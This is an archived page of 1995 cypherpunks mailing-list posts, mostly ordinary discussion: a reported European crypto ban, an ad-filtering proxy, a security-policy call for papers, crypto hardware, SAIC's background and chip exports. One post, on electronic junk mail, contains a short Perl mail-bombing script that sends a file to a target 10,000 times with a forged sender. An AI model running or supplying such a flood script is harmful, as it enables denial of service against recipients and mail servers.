December 2003 - cypherpunks-legacy

(Fwd) Internet Euro-Clipper
by Peter Trei 17 Dec '03

17 Dec '03

------- Forwarded Message Follows ------- >From Risks Digest, via www-buyinfo ============================================ F Y I from the RISKS DIGEST----------- Date: 20 Sep 1995 12:24:10 GMT From: rja14(a)cl.cam.ac.uk (Ross Anderson) Subject: European Governments Agree to Ban Strong Crypto According to an article in `Communications Week International', the 34-nation Council of Europe has agreed to outlaw strong encryption products which do not make keys available to governments. The article, `Euro-Clipper chip scheme proposed', is on the front page of the magazine's issue 151, dated 18th September, which arrived in my mail this morning. It relates that the policy was approved on the 8th September at Strasbourg by the Council, and coincides with an attempt by the European Commission to propose a pan-European encryption standard. The Council - unlike the Commission - has no statutory powers to enforce its recommendations. However, Peter Csonka, the chairman of the committee that drafted the document (and an administrative officer at the Council's division of crime problems) says that `it is rare for countries to reject Council of Europe recommendations'. The proposal would make telecomms operators responsible for decrypting traffic and supplying it to governments when asked. It would also `change national laws to enable judicial authorities to chase hackers across borders'. Opposition to this measure was expressed by Mike Strezbek, VP responsible for European telecomms at JP Morgan, who said that his organisation `will challenge any attempt to limit the power of our network encryption technologies very strongly'. Czonka said that the Council had given consideration to business interests but had tried to strike a balance between privacy and justice. However, `it remains possible that cryptography is available to the public which cannot be deciphered,' his document says. `This might lead to the conclusion to put restrictions on the possession, distribution, or use of cryptography.' Apparently another international organisation, the OECD, has called a conference of its members in December to devise a strategy on encryption. I for one will be making clear to my MP that his stand on this issue will determine how I cast my ballot at the next election. I note that John Major stated in a 1994 parliamentary written reply to David Shaw MP that the government did not intend to legislate on data encryption. I am disappointed that government policy has changed to the point of supporting the Council of Europe, and that this change has sneaked through during the parliamentary recess. Ross Anderson Peter Trei Senior Software Engineer Purveyor Development Team Process Software Corporation http://www.process.com trei(a)process.com

1 0

SOFTWARE: Filtering ads out of popular web sites
by lethin＠ai.mit.edu 17 Dec '03

17 Dec '03

On the subject of HTTP proxies, [SEVERAL FWD'S DELETED, ENTERTAINING SUBJECTS RETAINED] - - - Begin forwarded message - - - Subject: The agents/advertising arms race heats up Subject: OH YEAH BABY, FILTER ME HARDER >From: Axel Boldt <boldt(a)math.ucsb.edu> >Newsgroups: comp.infosystems.www.announce >Subject: SOFTWARE: Filtering ads out of popular web sites >Organization: Univ of California at Santa Barbara, Dept of Mathematics >Approved: www-announce(a)boutell.com >Message-ID: <44ercn$nhl(a)holly.aa.net> Several popular web sites have recently turned to putting advertising gifs on their pages. NoShit is a tool that filters these out so that you don't see them - in fact, you don't even download them in the first place, thus saving time, money and brain capacity. NoShit is implemented as a set of patches against Cern httpd to turn it into a "filtering proxy server". This means that the proxy maintains a list of URL templates together with corresponding filter scripts. When a document is requested form the proxy that matches one of the templates, then the page is piped through the corresponding script before being presented to the client. This works together with caching, if desired. The idea is to run your own personalized NoShit proxy server and point your browser to it. The proxy does the filtering; the browser doesn't even know about it. This scheme works with every browser. I have written a ready-to-use library of filter scripts for a couple of well known, ad-infected sites, including Yahoo, Lycos, Netscape, HotWired, CNN, Infoseek and NandO Times. You can change these or add your own very easily. Locations: <URL:http://math-www.uni-paderborn.de/~axel/NoShit/> (Germany) <URL:http://emile.math.ucsb.edu:8000/~boldt/NoShit/> (California) Enjoy, Axel - - - End forwarded message - - -

1 0

Call for IT Sec XX
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

From: <http://www.xiwt.org/secpros1.htm> Call for White Papers Information Technology Security Policy Setting Process issued by the Cross-Industry Working Team Thursday, September 28, 1995 Introduction The Cross-Industry Working Team (XIWT) is seeking inputs from U.S. industry on ways to improve the process by which public policy on information technology systems security is developed. At the invitation of the Information Infrastructure Task Force (IITF) of the U.S. government, XIWT is soliciting ideas broadly from US industry, in the form of White Papers that address this issue. XIWT will, later this year, convene a workshop of industry experts to organize the ideas and suggestions expressed in these White Papers into a report for use by the IITF, and will prepare a report to be made available to the public. XIWT is a multi-industry coalition of organizations committed to defining the architecture and key technical requirements for a powerful and sustainable national information infrastructure (NII). XIWT aims to foster the understanding, development and application of technologies that cross industry boundaries; facilitate the conversion of the NII vision into real-world implementations, and facilitate a dialogue among representatives of stakeholders in the private and public sector. Additional information about XIWT can be found on the Internet at: http://www.xiwt.org/homepage. Information Technology Systems Security In the developing National Information Infrastructure (NII), information technology will be deployed in a wide range of contexts and systems including communications, computing, software systems, and many different types of applications. The ability of this technology, and the systems which employ it, to provide the requisite levels of security and protection, are of concern to almost everyone. Issues of central concern include: physical protection of systems and their contents, potential vulnerabilities at various points within the networked environments of these systems, and the ability to provide or even guarantee reliable and/or uninterruptable service. The infrastructure for such capabilities will need to include mechanisms for the protection of networks, computers and other types of equipment as well as systems that employ these elements, as well as methods for analysis, certification and validation of technology and systems, and for facilitating the setting of standards. It is likely that cryptographic capabilities will need to be available throughout for possible use in protection and authentication of information. Issues involving the management of these capabilities will need to be uncovered, discussed and resolved where possible. At present, the federal government has no formal process in place, in the Congress or in Executive Branch agencies, which adequately involves the private sector in the determination of public policy in this area. Responsibilities for this broad area within the federal government are widely diffused and do not necessarily insure that all the relevant concerns of the private sector are taken into account. Further, no single process is used by the various parts of the federal government and a variety of policies, reflected in laws, regulation and practice, usually result. A methodology is required by which private sector interests can be adequately expressed and factored into resulting policies. The purpose of this call for white papers is to request written inputs from interested and knowledgable parties on how the formal process to developing information technology systems security policies may be improved, and particularly on how private sector inputs can be most effectively incorporated. Specifically, industry is requested to identify those areas, domains, and issues that are especially relevant for consideration, and to recommend specific suggestions or approaches by which the policy determination process in these areas may be improved. This may entail, for example, the establishment of one or more bodies dedicated to this purpose, within or across domains; the creation of a broad set of principles for the government or other bodies to employ; the setting of national goals or other specific recommendations for federal action. Submissions White papers are specifically solicited from U.S. industry; other individuals who wish to contribute are welcome to do so. Submissions may be made on paper or electronically by sending electronic mail, document files, or via a form located on the XIWT World Wide Web server (addresses below). Submissions made on behalf of companies will be taken to represent the views of the firm; these will be verified if it is not made clear in the submission that the document represents a company position. Individual submissions will not be verified if they do not claim to represent company positions. Submissions should be: 1) responsive to the primary goal of this call, (focused specifically on process improvement and not the presentation of view on policy deficiencies or on desired policies); 2) clear in terms of specific topics, areas or domains of policy; 3) reasonably direct, brief and timely. Any format may be used for the white paper, and it may be of any length. However, submissions must include the following information, on envelopes or headers to email and web messages, and on the submission document, whatever its form: 1. The name of individual making the submission; 2. The name of firm on whose behalf the submission is made; 3. The return address by which submission may be verified, if necessary. XIWT will convene a one or two day invitational workshop in the Washington DC area in December, 1995, to review submissions and organize the preparation of findings. Papers received by November 15, 1995, will be used in the workshop. The report of this effort is intended to be made available in February, 1996. Submissions must be made to one of the following addresses: Conventional Mail: Security Policy Process XIWT 1895 Preston White Drive Suite 100 Reston VA 22091-0913 Electronic Mail: secpros(a)cnri.reston.va.us Please place: "Security Policy Process" in the "Subject:" field. Please use ASCII text in any attachments. World Wide Web: suggestions may be contributed via the internet at: http://www.xiwt.org/response The content of submissions will be used by XIWT only for the purposes described in this call. No specific attribution to individual companies or individuals will be made in the findings or report. We look forward to your help in this important national effort. For additional information, please contact Charles Brownstein or Pam Memmott Tel: (703) 620-8990 Internet: cbrownst(a)cnri.reston.va.us Internet: pmemmott(a)cnri.reston.va.us 9/22/95; PJM

1 0

Re: Crypto hardware (was: Using sound cards to accelerate RSA?)
by cman＠communities.com 17 Dec '03

17 Dec '03

>The reason the market for this is weird is the same reason Sun took >the DES chips off its motherboards years ago -- you can't conduct >modern business with the fucked up export regime we are dealing with. > Also, even if national boundaries could be transcended (it's not just the US any more on this score), I'll grant to Tim that server-oriented cryptography h/w isn't going to be a mass-market item. It's going to be a niche market, but it's an _absolutely vital_ niche market if this stuff is going to take off in a big way. I, too, wouldn't invest big bucks in a company that did nothing but server-oriented crypto h/w, but I know that a lot of very good business ideas _won't work at all_ if this stuff doesn't exist. At the same time, there is going to be a very good business in consumer-oriented crypto devices as the problems inherent in using a general purpose computer for storing & processing keys, e-cash, etc. become apparent. I'm leaning away from the less specialized stuff, e.g. "checkbook on a PCMCIA card" and toward general purpose cards like the nat. semi. and telequip stuff. Both of these companies are rumored to be offering server-oriented products in the next couple of quarters to compliment their consumer product lines. The problem with general purpose machines has nothing to do with native processing vs. DSPs, but rather the fact that g.p. machines have mechanical hard drives and don't fit in your pocket. They also tend to house a lot of dubious other software that could get its grubby hands on things. These issues of reliability, portability and security don't affect things like soundcards, which is why native signal processing is likely to win there, but not in the use of crypto to secure valuable transactions.

1 0

Re: Electronic junk mail (one solution)
by Ford Prefect 17 Dec '03

17 Dec '03

OK...I know this borders on a "denial of service" attack since it may effect innocent users. How would you like to be the one to explain to your System Administrator that the Megabytes of returned Spam on the disk are yours? I realize that some peoples implementations of Sendmail will tell who your are regardless, so you might have to modify the "system" line for your own tastes. Also you might *not* want to be anon. Please feel free to modify to your own tastes. The delay loop is to space out the load. I also tried it with premail instead of Sendmail and it went thru the remailers just fine. It should be capable of running in the background. Only took 5 minutes to write and a couple of remailers to test. ============================================================ #!/usr/bin/perl print "Who does this go to?: "; chop($name = <STDIN>); print "What is the filename to send?: "; chop($filename = <STDIN>); for ($a=0;$a<100;$a++) { for ($b=0;$b<100;$b++) { system ("/usr/lib/sendmail -f nobody $name < $filename"); for ($x=0;$x<600000;$x++){}; } } ============================================================

1 0

Yet Another "(Fwd) Internet Euro-Clipper"
by tcmay＠got.net 17 Dec '03

17 Dec '03

At 5:12 PM 9/29/95, Peter Trei wrote: >------- Forwarded Message Follows ------- >Date: 20 Sep 1995 12:24:10 GMT >From: rja14(a)cl.cam.ac.uk (Ross Anderson) >Subject: European Governments Agree to Ban Strong Crypto ... The biggest problem I have with this is that this is the third, fourth, or fifth posting of Ross Anderson's piece to this list (maybe I'm counting one or more posts to Cyberia-l). (And others commented on the "Europeans to ban strong crypto" theme about a week ago.) I urge people to read what's on the list and not repost things which have already appeared. If they don't have time to read all of the messages on the list, which is understandable, then they need to be even more careful in posting things. Not to pick on Peter Trei, as this happens all the time, whenever a hot issue appears. With 1000 people on the list, repeated postings and cross-posting spams are getting out of hand. --Tim May ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^756839 | black markets, collapse of governments. "National borders are just speed bumps on the information superhighway."

1 0

Re: SAIC bought InterNic, but who is SAIC? A spook contractor!
by anonymous＠freezone.remailer 17 Dec '03

17 Dec '03

URL: http://www.saic.com/corporate/history/25.html *** About SAIC *** _________________________________________________________________ "SAIC 25 YEARS OF PROGRESS" Founded by a small group of San Diego scientists in 1969, Science Applications International Corporation (SAIC) now ranks as the nation's largest employee-owned high-tech company. With annual revenues of $1.6 billion, SAIC has almost 4,000 employees in San Diego, and about 16,000 employees at more than 250 locations worldwide. SAIC offers broad expertise in technology development and analysis, computer system development and integration, technical support services, and computer hardware and software products. SAIC scientists and engineers work to solve complex technical problems in business areas that include environment, energy, health, transportation and space. Since the beginning, SAIC has been committed to making significant contributions to nationally important programs. Over the past two decades, SAIC technical staff have contributed to clean-up efforts at Three Mile Island and Prince William Sound, to the success of Operation Desert Storm, and to space missions ranging from Voyager to the shuttle flights. The company is helping develop new technology to clean up hazardous waste at Superfund sites, while other scientists are studying global climate and oceanographic changes. In another critical area, SAIC is increasing the quality of patient care while lowering costs by developing an automated patient record system for Department of Defense medical facilities. Today, SAIC generates about 90 percent of its business through federal government contracts, half of which are in the national security area. The company has been transitioning its extensive experience in advanced defense systems and software engineering to benefit civilian programs. For example, SAIC networking capability helps dozens of government agencies share information to fight drug smuggling, and integrates technology that has put a pollution-free bus on the road. Bob Beyster, SAIC's founder and chief executive officer, credits the success of the company to its employee ownership. "The hallmark of SAIC through the years has been the principle that those who contribute to the company should own it, with that ownership proportional to their contribution and performance as much as possible," Beyster says, "SAIC was designed for professional people who want to do superior scientific and technical work, who want to have a stake and a voice in the company's development and direction, and who expect fair rewards for doing excellent work." _________________________________________________________________ Copyright SAIC Home _________________________________________________________________ Last updated on 07-05-95 ---------- URL: http://www.itps.saic.com/websites.htm Other SAIC Web Sites: _________________________________________________________________ Foundation for Enterprise Development SAIC Advanced Technology and Analysis Sector SAIC Aeronautical Systems Operation SAIC Applied Physics Operation SAIC ASDI (SEE Program) SAIC Asset C3I Group SAIC Hampton's Information System SAIC HTTP Server Site SAIC Idaho Falls ID SAIC Ideas Group SAIC Information and Simulation Sciences SAIC Information Technology Group SAIC Information Technology Lab SAIC JSTARS MOT&E Office SAIC @ Langley Research Center SAIC Los Altos SAIC Medical Imaging SAIC @ New Mexico SAIC Open Systems Lab SAIC Security Web Site SAIC Space Sciences SAIC Sterling Heights, Michigan SAIC System Development Operation Center SAIC Systems Engineering SAIC Technology Solution Sector SAIC Telecommunications Information Engineering Organization SAIC Test and Evaluation Group SAICnet Gopher _________________________________________________________________ SAIC-Hosted/Created Sites: Smart Site City of Ridgecrest Homepage

1 0

ESM under ULTRIX?
by dan＠milliways.org 17 Dec '03

17 Dec '03

I'm having some trouble getting ESM to work under DEC Ultrix. Has anyone gotten this to work? My first problem was that Ultrix doesn't understand one of the constants passed to an ioctl. With the help of a Linux box, I got the value of the constant and plugged it in. Now ESM compiles, says randomizing........, then does a carriage return and just dies. Ctrl-C doesn't work, Ctrl-Z doesn't work. Further I know that it's dying somewhere before the ioctl. Anyone one know how to make this work? For reference, > uname -a ULTRIX bigwpi.WPI.EDU 4.5 0 RISC > Dan *************************************************************** #define private public dan(a)milliways.org Worcester Polytechnic Institute and The Restaurant at the End of the Universe ***************************************************************

1 0

Re: SAIC bought InterNic, but who is SAIC? A spook contractor!
by anonymous＠freezone.remailer 17 Dec '03

17 Dec '03

URL: http://opentext.uunet.ca:8080/omw/simplesearch The Open Text Index found 199 pages containing: Science Applications International Corporation.

1 0

Export/import of chips
by John D. Ervin 17 Dec '03

17 Dec '03

I deal with Importers from Taiwen, Hong kong, Korea, and China on a daily basis. Because the deals I get on components is very good... They are name brand and meet FCC Standards when assembled as systems, but when imported as components they are generally worthless, until assembled How is import or export of Encryption related components monitored ?? Microprocessors can be imported and exported, as can boards.. As Junk.... Nobody Checks these shipments ?? Now if some of those boards did encryption/decryption, and they were paired with a processor, They could do some damage.. But when imported and exported as components (ie Electronic Junk) who is to tell what the end usage is really for ?? This is how a Toyota, Datsun, Subaru, etc are really American built and are American Cars..... ------------------------------------------------- jervin(a)netpath.net -------------------------------------------------

1 0